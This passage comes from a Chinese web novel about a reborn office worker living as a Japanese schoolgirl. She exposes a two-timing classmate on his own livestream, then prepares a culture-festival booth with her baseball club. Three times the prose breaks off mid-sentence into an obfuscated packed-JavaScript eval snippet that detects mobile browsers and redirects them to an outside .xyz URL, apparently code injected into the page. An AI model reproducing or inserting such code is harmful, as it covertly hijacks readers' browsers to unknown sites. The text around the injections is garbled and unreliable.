惊奇地发现两人家住的方向一致，于是他们肩并肩往那边走，还是三浦先开口调动气氛：“我其实一直都觉得真夏同学很厉害，是怎么做到每次考试都在前几名的呢？” 关真夏对系统：“还知道钓鱼要先打饵，难怪骗了那么多小姑娘。” 关真夏对三浦：“没有啦，我也只知道学习这一件事了。不像悠太，又是学生代表，又在足球部，一定很受欢迎吧？” 三浦笑两声，显然被捋顺了毛，“嗯——也没有很受欢迎，一般般吧，所以真夏来找我的时候真的吃了一惊呢，没想到那样优秀的人居然会注意到我。” 关真夏：就开始直接喊名字而不叫同学了，死装。 于是两人就这样有一搭没一搭地闲聊着，氛围异常好，任谁来看都是甜蜜的暧昧期高中生小情侣的模样。 不一会儿到了关真夏的家门口。她停下脚步，第一次鼓起勇气似的直视三浦悠太的眼睛，对他灿烂地笑一下，“谢谢你送我到这里，悠太！” 三浦点点头，也朝她微笑。 “这周末有空的话，要一起去图书馆写作业吗？”真夏在他转身离开前问。 三浦脚步一顿。“可以是可以，不过，” “我可以把这个当成约会吗？” 关真夏：……哇，好高明的话术，这人真是高中生吗。 关真夏想了想，依然笑着回答：“是第二次约会哦。” 这回轮到三浦愣住，有些不知所措地挠挠脑袋。望着他远去的背影，关真夏长舒一口气，心想果然区区高中生能海到哪里去，最多只能算个湖王。 不过她并没有上楼回家，而是定定地站在门口。 她对着一旁的空气问：“老师，你准备跟踪我到什么时候？” 系统疑惑，刚想问她在和谁说话，紧接着脚步声就响起，天野守双手插着兜从一棵树后走出来，耸了耸肩。 “怎么能叫跟踪呢？听说这附近有家好吃的拉面店，我迷路了而已。” 关真夏有些无语地望着他，这人的跟踪技巧实在低劣，属于是应聘私家侦探都会在海选那关被无情刷掉的水平，实在搞不懂他到底在想什么。 “从出校门开始老师就一直跟在我和悠太身后了吧？” “难道是不希望我和悠太接触吗？” 她选择直接戳破装傻充愣的天野。 天野眨了眨眼，张嘴像想说什么，最后却什么都没说出口，只扬起嘴角朝她笑一下。 “啊，我想起来了，那家店在那边来着。” 他自顾自地转头就走，留关真夏在原地疑惑。 8. 这样或那样的你 “三浦！再看手机就没收了哦！” 国语老师远藤是个慈眉善目的老奶，此刻也明显对于三浦悠太整节课抬头时间不超过5分钟、对着课桌底下的手机傻乐的行为很不满。三浦敷衍地应了声好，最后留恋地看眼屏幕才关机扔进课桌里。 “跟谁聊天呢你小子？女的？”旁边的人踢了脚三浦的课桌腿。 “啊，”三浦也没想装，爽快地承认道，“女的。” “关真夏？” “不是，另一个人。”三浦朝旁边那人坏笑一下。 “你最近咋这么受欢迎？” “她们自己送上门来的。” 刚才其实没有在聊天，三浦一直在回味他和川上唯的聊天记录。学姐还是那么可爱，光看文字讯息就能想象出那明媚的笑脸，就像高一时自己在棒球部的新生欢迎会上第一次见到她时一样。 唯前辈本来就该是自己的女朋友，而不是当时棒球部那寸头队长的…… 想到西野翔那张扫兴的脸三浦就忍不住翻个白眼。 虽然当时告白被拒绝了，但现在唯前辈又来找我，不就是说明比起西野更喜欢我吗？三浦扬眉吐气地想，不被爱的才是小三。 那关真夏虽然漂亮，但性格太无聊，不是自己的菜，等睡完就抛掉，然后一心一意地和唯前辈在一起，三浦悠太盘算着，嘴角简直要翘到天花板上。 下课铃打响后三浦本想趴在课桌上补会儿觉，却被人揪着制服衬衫衣领从椅子上拎起来，随后一阵大力拖拽，脊背狠狠地撞在教室后墙上。 三浦悠太吃痛，瞪圆了眼，才发现竟是棒球部的青木诚也，高一开学那会儿有过交集。 “你干什……” “你最近在接触真夏？” 青木死死盯着他双眼，声音异常急促。 与三浦记忆里那个温良恭俭让的形象截然不同。 “不是我在接触，她自己送上门来的，”三浦嗤笑一声，没想到消息已经扩散到关真夏的追求者里面去了，“怎么，你喜欢她？” 青木没有正面回答，攥着他衣领的手青筋暴起，语气十分不善： “不许对真夏出手。” “当年你是怎么被川上前辈拒绝的，我可在现场看到过。” 不远处的关真夏被尴尬得忍不住咳一声。 “不许对真夏出手，”她模仿着，想笑但一想到自己也算涉事人就又有点笑不出来，“这家伙是看古早霸总剧把脑子看坏了吗？不许对我的女人出手？” 身边的遥奈也笑得喘不过气，蹲在地上捶墙，“我受不了了真夏，你只是让青木去威胁一下三浦，他这也用力太过度了吧哈哈哈哈哈！” 关真夏也属实没想到，看着挺机灵的青木居然这么实诚，告诉他自己的复仇计划后他虽然犹豫了好一会儿，不过就冲这演技事成之后必须得请他吃冰淇淋。 这样一来，在遥奈的煽风点火和青木的侧面证实下，三浦就会百分百确信自己已经喜欢他喜欢得无可救药了。 见时机成熟，晚上回到家后关真夏编辑了一条line信息发给三浦悠太。 「这周日方便见一面吗？我有话想对悠太说」 消息状态很快变成已读。 「没问题！在哪里见面？」 「离学校最近的那家Tully咖啡，下午5点见吧」 关真夏发送完最后一条消息，心满意足地阖上眼。 三浦对着镜子检查发型是否服帖，随后凑近手机镜头。 “今天带你们看看被告白的第一视角。” 手机上是ins的直播界面，由于三浦人脉广，有近一万的关注者，在线观看人数将近200，数字还在不断上升。 三浦明显心情很好，一路哼着不知名的旋律往关真夏说的那家咖啡店走去。 还没进门他就透过窗户看见了关真夏。在学校老老实实穿制服也不随潮流把裙边卷短，周末见面时也是宽松卫衣配优衣库的长裤，那样的刻板印象里的朴素优等生关真夏，今天穿了件淡粉色的连衣裙，仔细看还画着精致的妆容，三浦看得有点怔愣，随即感到一阵巨大的满足。 “看见了吗，就是那个女生，”三浦指给直播间的观众看，“她平时超土的，一看就是为了我特意打扮的。” 同时关真夏不自在地扯了扯裙摆，上辈子大半时间都泡在公司里，难得有休息日也是恨不得穿成乞丐，在家里怎么舒服放松怎么来，根本没机会穿什么裙子，所以在遥奈提出要帮她打扮一番时她第一反应是拒绝的。 可是遥奈置若罔闻，嘴里说着什么对付三浦那种人就得这样，手起刀落一件裙子就套在了关真夏头上。 遥奈后退几步上下审视一番，摇摇头，又是一阵电光火石套在关真夏身上的变成了另一件。 于是关真夏只好束手就擒变成遥奈的试衣模特。 她看见三浦有些刻意地举着手机进来时挑了挑眉，随后心下了然，故意装作没发现他在直播似的，佯装开心又紧张地朝他打招呼。 可能是离学校近的缘故，这家店里学生很多，两人隔壁的一对高中生情侣吵吵闹闹地打情骂俏，让三浦不知为何有种来到了自己的主场的松弛感。 被喊到咖啡店表白这种事，他从小学就开始经历了。 “人真多呢，不愧是周末。”三浦悠太朝真夏笑了笑，随手翻起菜单，“你想喝什么？今天我请客。” “诶？那多不好……” “没事的，这点钱不应该让女生出。” 哇，这小子肯定觉得自己帅呆了。 关真夏甜甜地笑了，指着菜单上最醒目的新品，什么焦糖红薯拿铁的看不太懂，总之选择了最大的杯型：“那，我想尝尝这个新品，拜托悠太啦。” 三浦看着800日元的价格嘴角一抽，不过已经夸下海口就不好反悔，只好硬着头皮向服务生点了单。 两人有一搭没一搭地闲聊，从对于学业的吐槽到家庭成长环境，氛围逐渐升温。 不过当然，所谓的家庭环境都是关真夏现编的。 她看眼时间，差不多到了日向花下班、从柜台走出来的时间。 于是她悄悄地将手机伸到桌子底下，在对话框输入几个字，点击发送。 “那个，悠太，”关真夏深吸一口气，吞咽一口唾沫，很是紧张的样子，完全就是要说什么大事的姿势。 来了，自己耐着性子陪她闲聊那么久，终于要说正事了。三浦悠太看见胜利在朝自己招手，不动声色地调整一下架在桌子一角的手机，好让摄像头收录到整个画面，此时直播的在线观看人数已经超过了500。 “怎么了？”半天没有后文，他忍不住开口催促，又尽量让自己听起来一点都不急。 “我，我其实……” “嗯？” “我一直觉得悠太……” “没事，不要紧张，真夏说什么我都听。”悠太盯着对面那人越埋越低的脑袋，打算大发慈悲地给她一点时间。 这低劣的话术，搞不好还是第一次告白，自己不能惊动她，得放长线钓大鱼，三浦悠太想。 “我一直觉得悠太……” “嗯？” 快来了，快来了。三浦抽空瞥一眼ins直播界面，弹幕刷得飞快，像好戏开场前观众们热烈的讨论。 “——实在是太矮了。” 那颗低垂的脑袋声音有点闷，仔细听的话像在憋笑。 “谢……嗯？？” 完全出乎意料的回答，三浦悠太的大脑死机一瞬，一时间没反应过来，被人施了咒一样张大嘴巴愣在原地。 “不只是我，川上前辈也是这么觉得的吧？” 三浦悠太被这个突然出现的名字硬控住：“川上前辈？？？” 这时一道身影投下来，三浦下意识抬头，一直与自己隔着手机屏幕聊天的川上唯，居然真的出现在了面前。 三浦揉揉眼睛，视野模糊一瞬才逐渐反弹得清晰，川上唯的身影还站立在那里没有消失——他不可置信地反应了好久，才发现这居然真的不是幻觉。 “没错，当时又矮又瘦像只小猴子似的三浦，居然在知道我和翔已经在一起的情况下还来告白，实在是太不自量力了。” 川上唯俯下身揽住僵硬成一尊石像的三浦悠太，语气戏谑。 远处一直在暗中观察情况的天野守没忍住笑出声。见事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16560007|186920||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 情完全没向担忧的方向发展，他站起来伸个懒腰，在被学生发现前偷偷溜了出去。 安全就好。 这时日向花正好换下打工制服从员工室走出来，目睹了一整场闹剧。她愣愣地站在原地，看起来和三浦一样震惊。 三浦被迫回忆起自己被拒绝时的场景，脸颊后知后觉地爆红，他仍有些不死心，揪着救命稻草似的发问，喉咙紧得要命：“唯前辈……不是在ins上找到我，说果然还是喜欢我吗？” 关真夏被他提醒后恍然大悟似的哦一声，掏出手机亮起ins私信界面在三浦眼前晃了晃，正是他奉若至宝的和“川上唯”的聊天记录—— “悠太是说这个吗？” “我看看——小唯前辈晚安，波浪号。” “想和小唯前辈亲亲嘛，委屈的表情。” “收不到小唯前辈的消息，好难过呀，哭哭。” 关真夏毫无感情地对着聊天记录一句一句念出来。 “怎么……为什么你有……” “难道……？？” 眼见三浦红温成一颗不知所措的西红柿，刚反应过来手忙脚乱地想抄起自己的手机要关掉直播，这时观看人数已经赫然超过1000人；而那瞬间他们旁边那一对高中生飞身而起，其中的男生夺过三浦的手机对准他红到快要爆炸的脸——那哪是什么情侣，正是潜伏已久的青木诚也和栗原遥奈。 遥奈俏皮地朝直播镜头比了个耶：“大家好～我们的悠太看起来有点忙，就先帮他代为直播一下啦！” “拿我手机干什么！还给我！”三浦崩溃地吼，扑上去想抢回手机，却被青木拦下。 “啊——我还记得你当时在棒球部的部室里向川上前辈告白被拒绝之后也是这个样子来着。” “当时没想到棒球部全员都在部室门外吧？一开门看见那么多人都在看你笑话的感受怎么样啊？” “告白失败后就到处散播是我勾引你的谣言，真有你的。”川上唯白他一眼，显然记恨已久。 那个时候川上唯刚升入高三，被三浦造谣后却因学业紧张没空为自己澄清，这口气本就一直咽不下去，青木诚也靠着棒球部的关系联系到西野翔并说明来意后，川上唯想都没想就答应过来助攻了。 她提议应该让这种人彻底社会性死亡一次，才能杜绝他祸害其他女生的后患。本打算让青木和遥奈在一旁拍油管视频，佯装不小心把三浦也录了进去，没想到这人自己开着直播就过来了，真是省心的好后辈。 关真夏转头瞥了眼呆呆望着这一幕的日向花，故意清了清嗓子，大声宣布：“个子这么小，还觊觎前辈的女朋友没想到人家根本看不起你，三浦悠太，” “你一点都不像一个男人！” 当初三浦悠太在那么多人面前对日向花说过的话，原样奉还给了他。 关真夏听到轻轻的笑声，来自片桐日向花。 夕阳斜斜地垂下来，给河面镀上一层薄薄的金色，波光粼粼，让关真夏联想到一川荡漾的巧克力包装纸。 “所以，”关真夏和日向花并肩走在河堤上，“要加入女子棒球部吗？” 日向花没说话。 关真夏又补充：“别听三浦悠太瞎说，你才不会因为喜欢打棒球就变得不像女生。” “会因为你喜欢棒球就觉得你不像女生的人，以后也会因为你想要出去工作、因为你不愿意照顾他全家人而觉得你不像女生的。” “如果有任何人告诉你，你是女生、你应该这样做的话，不要理会，那都是错误的。” “不管是要你温柔体贴、要你无私奉献、还是要你文静乖巧，都是错误的。你当然可以因为喜欢那样的自己而那样做，但不可以是因为别人告诉你因为你是女生，所以必须那样做。” “因为你是女生，所以你是什么样，女生就是什么样。” 如果以前有人能在青春期时告诉自己这段话就好了，当时国内的这种思想还没有很普及，导致她在传统理工科学校过得不算太愉快。关真夏想，希望日向花能听进去。 良久，片桐日向花停下脚步，幅度微小却坚定地点了点头。 “请让我加入女子棒球部。” 9. 社畜惹谁了 关真夏进教室时发现青木和遥奈破天荒地来得比她更早，这次困也不犯了，正笑得前仰后合的，不知道在乐什么。 “昨天三浦最后逃跑的时候你看见了吗，那家伙真的在哭诶！” “感觉把川上前辈也喊过来这一招实在是太天才了……” 她走近时听见，原来这两个人还在复盘昨天的替日向花报仇计划。 身为总策划的关真夏很满意，说实话她也觉得这是她至今为止交出最好的一版企画案。这样一来三浦的丑态很快就会在全校范围内流传开，至少在高中阶段再也不会有女生被他伤害了，这种满足感不知为何比谈成一桩国际合作时还要强烈。 “可惜没能把场景安排在全校集会上，”关真夏放好书包在两人中间坐下加入复盘，“那样才能一比一还原。” 遥奈十分认可，大幅度地点头，马尾辫甩得上上下下。她将亮着的手机屏幕递过来，关真夏就下意识低头看，是ins的限时动态界面。 “星高的那个三浦悠太真活该，之前在私塾认识他，在一起一个月之后就被他出轨了，还说答应告白只是可怜我”，纯黑的背景上只有这样一句话。 关真夏反应一会儿，想起来私塾指的是补习班。 “哇，连校外的女生都不放过，”青木也凑个脑袋过来看，“他上辈子是寡死的吗？” 遥奈义愤填膺，她交际圈广，昨天三浦的直播在县内同世代的圈子里小火了一把，于是社交媒体上接二连三有人跳出来说自己也是三浦悠太的受害者，让人难以相信这居然是一个高中生的手笔。 本想继续下去关于三浦的声讨会，这时担任老师山本走进了教室，敲了敲讲桌让同学们安静下来。 “今天大家精神不错啊，”山本老师40多岁，平时是个不苟言笑的形象，同学们看见她就发怵，今天却和蔼得出奇，“下个月的第一个周末要举办文化祭，保持现在的元气一起努力准备吧。” 文化祭这三个字无异于往早晨昏昏欲睡的高中生堆里泼了一吨的兴奋剂，刚安静不超过一分钟的空气又躁动起来。 “我们班这次出什么企划啊？”有人迫不及待地问。 坐在第一排靠门边的小野寺站起来，说她和工藤、佐野是文化祭的实行委员，已经把几个备选企划通过投票的方式发在了班级line群里。 话音刚落就有人按耐不住，也不顾还是上课时间，偷偷掏出手机藏在课桌下看。 山本老师睁一只眼闭一只眼，以她过来人的经验，高中阶段的文化祭之类的活动是往后整个人生都难忘掉的宝贵经历，她当时也像这群孩子一样兴奋。 然而只有关真夏一个人不为所动。 倒不是她故意端出成年人的架势，想在高中生身上找优越感，她并没有幼稚到这种地步。 而是这样的青春离她实在是太远了，比骑自行车从地球到月球、再原路返回的距离还远。 自己真是高中生的时候朝6晚11睁眼闭眼都是周考月考期中考期末考，能慢悠悠吃完一顿整饭都是幸福，就算那时候也有这所谓的文化祭，估计也会是货真价实的“文化”祭，变成一场考试，测测他们的文化程度。 周围越躁动，关真夏的拳头就握得越紧，竟也体会到了早高峰时误入电车女性专属车厢的男士的心情。 明明发现自己重生成女高中生的时候曾那样激动，也幻想过只在动漫里看见过的校园文化祭，之前还能若无其事地混在别人的青春里滥竽充数，这种时候才发现她只是叶公好龙，真要轮到她自己去演绎青春时反而退缩起来，像在聚光灯下被摘掉面具、被迫以真面目现身的小丑。 不适合，实在是太不适合了。 她要练成多高明的演技，才能完美出演那个能够问心无愧享受青春的孩子？ 简直就像拳王泰森被迫穿上女仆装那样违和。 关真夏抿抿嘴，开始盘算干脆装病逃过去算了。 身边的遥奈用笔戳戳她肩膀，将她从自己的思绪中戳醒。 “你看投票了吗？”遥奈小声问，“有做信玄饼、鬼屋和室内过山车这三个选项，你选哪个？” “遥奈选哪个？”关真夏随口回问，她真不觉得这和自己有什么关系。 “嗯——先排除信玄饼，我还是刚刚现场搜了才知道是什么东西的。” “果然还是室内过山车比较好吧？去年我朋友在的驹南高校就有班级做这个，在游客里都爆火了呢。”斜前方的坂本加入讨论，生怕老师不注意到这边似的向后翘着椅子。 “可是会不会比较难做啊？还有安全隐患什么的。”说话人姓藤原，是个平时不怎么说话的内向男生，这时也自然地插嘴。 “这倒确实……” “那做鬼屋？可以是可以，但有点老套啊。” “加点新元素进去不就好了？” “有道理！加一点共通试验*的元素进去吧，解不出题就无法逃脱的房间之类的。” “你有病吧！” …… 原本只是遥奈向关真夏发起的小规模交头接耳，随着接话的人数越来越多，逐渐演变成覆盖小半个班级的讨论会。 关真夏也得以摆脱被争取意见的命运。她松口气，别说这些企划究竟哪个比较好了，她连文化祭要做些什么都毫无头绪。 你们好好玩吧，我就算了……关真夏板着脸，举起课本挡住脸，努力把自己从周围同学的视线里摘出去。 “你在害怕吗？”系统又突然开口，如果关真夏有心脏病的话指定被吓死无数回了。 “我是一个稳重的成年人。” 关真夏打算嘴硬一下。 却没想到系统一针见血：“你是个胆小鬼。” 关真夏有点不服，这区区一团数据怎么好意思对她这满腔复杂的感情评头论足的？ “你当过人吗你就骂我。”她怼回去。 没想到系统沉默了一下，像在回忆什么，“说实话，我只有作为系统的记忆，但不知道为什么现在的场景我总感觉在哪里见过。” “所以说请不要否定我曾经作为人类存在过的可能性。” 又来了，这位系统大人把任何话题都变成辩论会的超能力，关真夏选择放过自己。 “好好好，你上辈子是东京的帅哥高中生。” “谢谢你。”居然听起来有点高兴。 就这么和系统你一言我一语地闲扯，硬生生熬到了下课铃响起。 老 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16560008|186920||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 师走出教室的那一瞬间关于文化祭的讨论就险些把教室天花板掀翻，关真夏捂着耳朵打算跑出教室暂时避难，在门口迎面碰上过来找她的日向花。 天野老师喊我们过去，日向花说。 她们被传唤的地点是部活会馆，颇有些上世纪遗风的一栋4层公寓式楼房，每个部的部室都在这里。 关真夏跟在日向花身后，二楼最角落房间的门被吱呀一声推开，入眼是一张目测长两米的木桌，靠右边的墙壁立着一个空荡的储物架，也许是用作开例会的投影仪被随意收纳在一旁。 天野正无所事事地坐在桌子一角望着窗外发呆，听见门响才回头看她们。 “这里本来是狩猎同好会的部室，废部之后空了出来，以后就作为女子棒球部的活动基地吧。”他向二人解释。 关真夏有些狐疑：“老师，我们使用这个房间取得学校的允许了吗？” 天野的视线变得有些飘忽，突然开始研究窗户旁正在勤勤恳恳织着网的蜘蛛。 关真夏颇为无语地和日向花对视一眼。 我就知道！ “好了，使用申请那种东西什么时候申请都可以，”天野给自己打圆场，“今天叫你们过来是为了宣布——” “下个月的文化祭，我们女子棒球部也要出一个企划。” 他开玩笑的吧？ 第一时间关真夏除了这句话没有其他任何想法。 就算想相信也做不到，现役部员只有她和日向花两个人，要怎么在文化祭上摆摊位？？ 她果断地拒绝：“我觉得不合适。” 天野高深莫测地摇摇头，终于舍得从桌子上跳下来，踱到关真夏面前，变戏法似的抬手，一张A4纸垂在她眼前。 “虽然部室是我擅自借来的，不过关于文化祭上的摊位可是实打实找学校批过申请了哦。” 文化祭活动许可，关真夏念出那张纸上的字眼。 “那经费怎么办，老师？”日向花看起来完全不像关真夏那样抗拒，表情甚至有些跃跃欲试。 日向花你变了，你怎么和这家伙站到一边去了，关真夏疯狂给她使眼色，却完全没有被注意到。 “那当然是我们自己出钱了，学校还没善良到给刚成立、只有两个部员的部活批经费。” 天野笑着说。 疯了。关真夏满脑子只剩下这两个字，感觉自己变成了韩国人。疯了吧这狗崽子。 “老师，我还是觉得……” “——你是想凑齐女子棒球部人数的吧？” 关真夏仍想垂死挣扎一下，话没说完就被天野守打断了。 “…那倒是没错……” “那就对了，这也是我们招人宣传的一环。” 天野又笑，笑得怎么看怎么不怀好意。 而一旁的日向花竟然完全接纳了他的说法，点着头说没错，除了在校学生，还有很多一般市民也会到场星高文化祭，的确能让更多人知道我们女子棒球部。 我们缺的又不是话题度…… 关真夏徒劳地张了张嘴，又识趣地闭上。 她深刻地意识到自己成为了这俩人案板上待宰的鱼。 （*共通试验：日本的高考） 10. 感觉被做局了 以日本女高的身体在这个环境里生活了也快一个月，每天意外地忙碌，关真夏突然发现自己还没怎么去过学校和家之外的地方。 天野老师说着什么要cos棒球番里的角色，出一个射靶游戏的摊位，只不过用投棒球代替射箭；于是关真夏就被他和日向花拖出了门，眼下正站在县内最繁华的商业街前的十字路口，对着陌生的穿梭的人流车海发呆。 “我就在这里等你们……”关真夏仍没放弃逃跑的想法。 “不行，真夏，”日向花一本正经地抓住她胳膊，“你是女子棒球部的队长吧？必须要参考你的意见才行。” ……我什么时候成队长了？ 关真夏被日向花半强行地拽着走，百口莫辩。 “为什么这么不愿意出来采购？” 一旁的天野好整以暇地看着她俩打拉锯战。 每天准点下班还有双休的幸福社畜跟我就是不一样啊，关真夏悄悄瞪他一眼。 上辈子中学时代就不必提，从早到晚泡在学校里，出社会后更是迫于生存压力失去了自己的生活，唯一相对清闲的大学时期的空余时间也都用于做家教或奶茶店兼职，“闲下来的时候出门逛街”是一个对于关真夏来说无比陌生的行为。 首先她不知道“闲下来”是什么感觉，其次她也没有“出门逛街”的财力，早就把这种行为定义成了“不适合自己”的异世界活动。所以被拉到商场前时她不仅没有心情雀跃，反而打心底生出一种窘迫和别扭：她不适合这里，这不应该是她来的地方。 “真夏平时没有逛商场的习惯吧？从高一认识你开始我还从来没有看过你买新衣服，一直都是那几套来回穿。” 关真夏闻言有些惊讶，JK真夏的衣柜里的确除了校服之外几乎没有自己的私服，没想到这方面也跟自己这么像。 “我不适合那些好看衣服的啦哈哈哈……而且现在的衣服不都还能穿吗。”她干巴巴地笑，希望能赶紧放过自己，“不是说要采购文化祭的准备用品吗？快走吧！” 天野听到这话挑了挑眉，眼神又往关真夏身上转一圈，却没说什么，放慢脚步跟在二人后面往前走。 三人在商场前站定，高耸的建筑顶端挂着“丸越”这两个字。关真夏上辈子就在视频软件上刷到过，这里是还算有名的购物中心，一看就是自己消费不起的样子。 她于是又开始打退堂鼓。 可是天野好像看穿了她的想法似的，抢在她想以“突然身体不舒服”为由逃之夭夭之前开口：“COS服倒是可以在这里面买到了，不过分头同时去买可丽饼的材料效率更高一点啊。” 可丽饼是投球游戏的奖品。 关真夏灵光一闪，如果自己去买食材的话就可以先逃一步了，正要毛遂自荐，一旁的日向花比她先一步开口：“我去吧老师。” 日向花朝关真夏这边瞥一眼，郑重地摇摇头，意思是我都看出来了，你别想跑。 日向花走远了，带着关真夏最后一丝希望。 振作点，关真夏，迎接你的是可怕的物欲横流的地狱了。 关真夏在心里对自己说，莫名悲壮，总感觉现在手边该有一壶热酒，可惜这具身体还没成年，买不了酒。 系统突然辣评：“还演上了。” 关真夏：“你闭嘴好吗。” 系统就识趣地缄口不言，他倒真想看看关真夏是不是真对时尚潮流的地方过敏。 “别发呆了，走喽。” 天野守伸手在她眼前晃了晃，先一步跨上台阶帮她抵开商场大门。 旁边不是有自动门吗，话到嘴边又被关真夏咽下去。 首先进入视野的是她叫不上名字的大牌化妆品专柜，广告屏上映着她不认识的明星的大脸，亦步亦趋地跟在天野身后面对笑脸迎上来的工作人员她也只好尴尬又不失礼貌地扯出笑容应付回去。 “老师，那家卖cos服的店在几楼啊，”关真夏小声催促正东张西望看见什么都两眼放光、眼看着要踏上扶梯一层一层扫过去的天野，这家伙俨然是假借着文化祭采购的名义出来玩的，“我们不能直接坐电梯过去吗？” “在二楼！”天野轻快地回答，头也没回。 可到了二楼后关真夏环视一圈，入眼全是饰品鞋子和包的店铺，没有一丁点衣服的影子。 “……你是不是记错了啊老师？” 天野没回答她，扫视一圈后看见了什么似的眼睛一亮，径直朝一家杂货店小跑过去。关真夏没辙，只好跟过去，有点怀疑自己是不是在带幼儿园小孩出来远足——从幼儿园就开始逛商场，可真是奢靡的爱好。 “这是我想要很久的墨镜！”天野开心地将一副墨镜架在鼻梁上，颇为得意地扭头征询关真夏的意见，“怎么样？很适合我吧？” 关真夏：“……” 比起这家伙自己更需要墨镜吧，这样就可以随时随地翻他白眼了，关真夏拳头梆硬。 天野兴冲冲地跑去结账，关真夏则一脸苦大仇深地在店外长椅上只是坐着。 随后天野说记错了在3楼，而到3楼一看全是化妆品店和咖啡店，天野就顺便提了杯咖啡在手上；又说其实是在4楼，可4楼是优衣库和一家叫ABCMart的鞋店，天野又兴致勃勃地去试了试新出的鞋款；旋即他信誓旦旦地说那家店在5楼，这次一定不会错，然而5楼除了一家巨大的书店和户外登山用品店再无其他。 关真夏逐渐麻木，她望着天野兴冲冲的背影早就看透了一切。 这臭小子就是出来玩的！ 不过在这过程中，原本怀着对于商场这种地方的畏惧感而精神紧绷的她，居然神奇地放松下来了。 原来这种地方也没那么和自己水火不容嘛，擦肩而过的行人们也没嘲笑她朴素过头的穿搭，不过也有可能是偷偷在心里嘲笑了她没发现而已，关真夏松了口气，原来自己的人生真没那么多人评头论足来着。 跟在天野后面，终于到了一个全是服装店的楼层。 可是定睛一看这些店铺里全是精致休闲挂，根本没有半点他们要找的二次元cos服的迹象。 “你是不是记错地方了，老师……？” 天野守还真的恍然大悟似的一拍脑门，关真夏本以为他要说“果然搞错地方了”之类的、让人听了就想把他从顶楼推下去的话，这人开口却是：“我突然想起来我得买新衣服了，马上夏天了嘛。” 关真夏深吸一口气，告诫自己不能打老师。 她臭着脸被天野守带着走。 天野脚步一顿，拐进一家服装店，关真夏以为他终于找到自己心动的衣服了，正打算在店里的软椅上休息几分钟，突然被冲着她来的店员下一大跳。 “欢迎光临——想买什么类型的衣服呀？” “不是我，是……”关真夏茫然地抬头，刚想指出她们真正的顾客其实是天野守，却被入眼满墙的女装硬控住了。 女装店……？ 那瞬间关真夏脑海里闪过无数种可能，一边觉得可能是天野不认识男女这两个字进错店了，一边又觉得万一他真有这方面爱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16560009|186920||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好呢，关键是这两种猜测越想越觉得都是天野有可能会做出来的。 关真夏满脸迷茫，而那位天野老师一副“不知道啊不是你自己走进来的吗”的表情，让关真夏甚至要开始怀疑是不是真是自己累坏了乱走路了。 “应该还是高中生吧？像这种款式会很适合你哦～！”愣神间一位店员就拿起一件衣服往关真夏身上比划，俯下身笑得甜蜜蜜的，身边其他店员也都配合地发出“好可爱”之类的感叹声。 是一件有泡泡袖蕾丝花边的修身款T恤，的确是时下女子高生里流行的款。 可问题是她又不是真正的女高…… “不好意思，我觉得可能不太合适……” 刚想拒绝，店员姐姐却好像早已料到一般又向她展示另一件准备好的衣服，这次换成复古风的薄款羊毛开衫：“像这种的话很适合现在的天气，在年轻的孩子里面也很流行吧？” “不用了，我……” 关真夏小声嗫嚅着，店员姐姐们依然没给她说完整句的机会，像是盯上了掉进狼窝里的肉一般拿着原主真夏这个年纪的孩子可能会喜欢的款式蜂拥而上。 “试一下这件吧？” “你穿上一定很可爱！” “对啊对啊，毕竟脸长得好看，穿什么都会好看的。” “年轻就是好啊！” …… 有个心理学实验怎么说的来着，如果无法答应一直缠着自己的人的要求的话，就会非本意地产生愧疚感。 而此刻关真夏正是这样的处境。 终于她幅度极小地、极为缓慢地点了头，随手接过一件连衣裙。 “那我试试这一件……” 对着更衣室的镜子，关真夏做了好久心理准备。 虽然原主真夏这张脸长得和高中时期的自己几乎一模一样，穿上这条裙子后依然让她感到极为陌生。 好不习惯…… 不过看起来……好像确实挺合身的？ 一种从未体验过的愉悦悄悄从心底泛起来，一路沿着她本因局促而绷紧的神经朝上涌，最终落定在她的唇际，不知不觉间定格成一个不着痕迹的微笑。 说不定自己并不讨厌买衣服装饰自己这种行为，只是在本能地抗拒从没踏足过的未知空间呢。 关真夏深吸一口气，缓缓地掀开更衣室的围帘，早就围过来蓄势待发的店员们发出整齐而训练有素的夸赞。 “哇——好可爱！” “我就说了吧？你这个年纪的孩子穿上一定好看！” “真的很适合你哦！” 虽然明知道是为了让自己掏钱才吹出的彩虹屁，关真夏仍忍不住被夸得嘴角上扬。自己真的很少被这样直白又热烈地夸赞过。 店员们见她笑了，又赶忙去征求在一旁当墙纸的天野的意见，“这孩子穿裙子是真的很好看吧？” 天野朝浑身不自在的关真夏扫过去一眼，笑了笑，点点头。 “啊，我早就发现了。” “和三浦告白那天不就是吗？” 关真夏一愣，皱起眉，难道那天他也碰巧看到了吗？ 也是，老师的ins关注列表有那么多学生，应该是偶然刷到三浦的直播了吧。 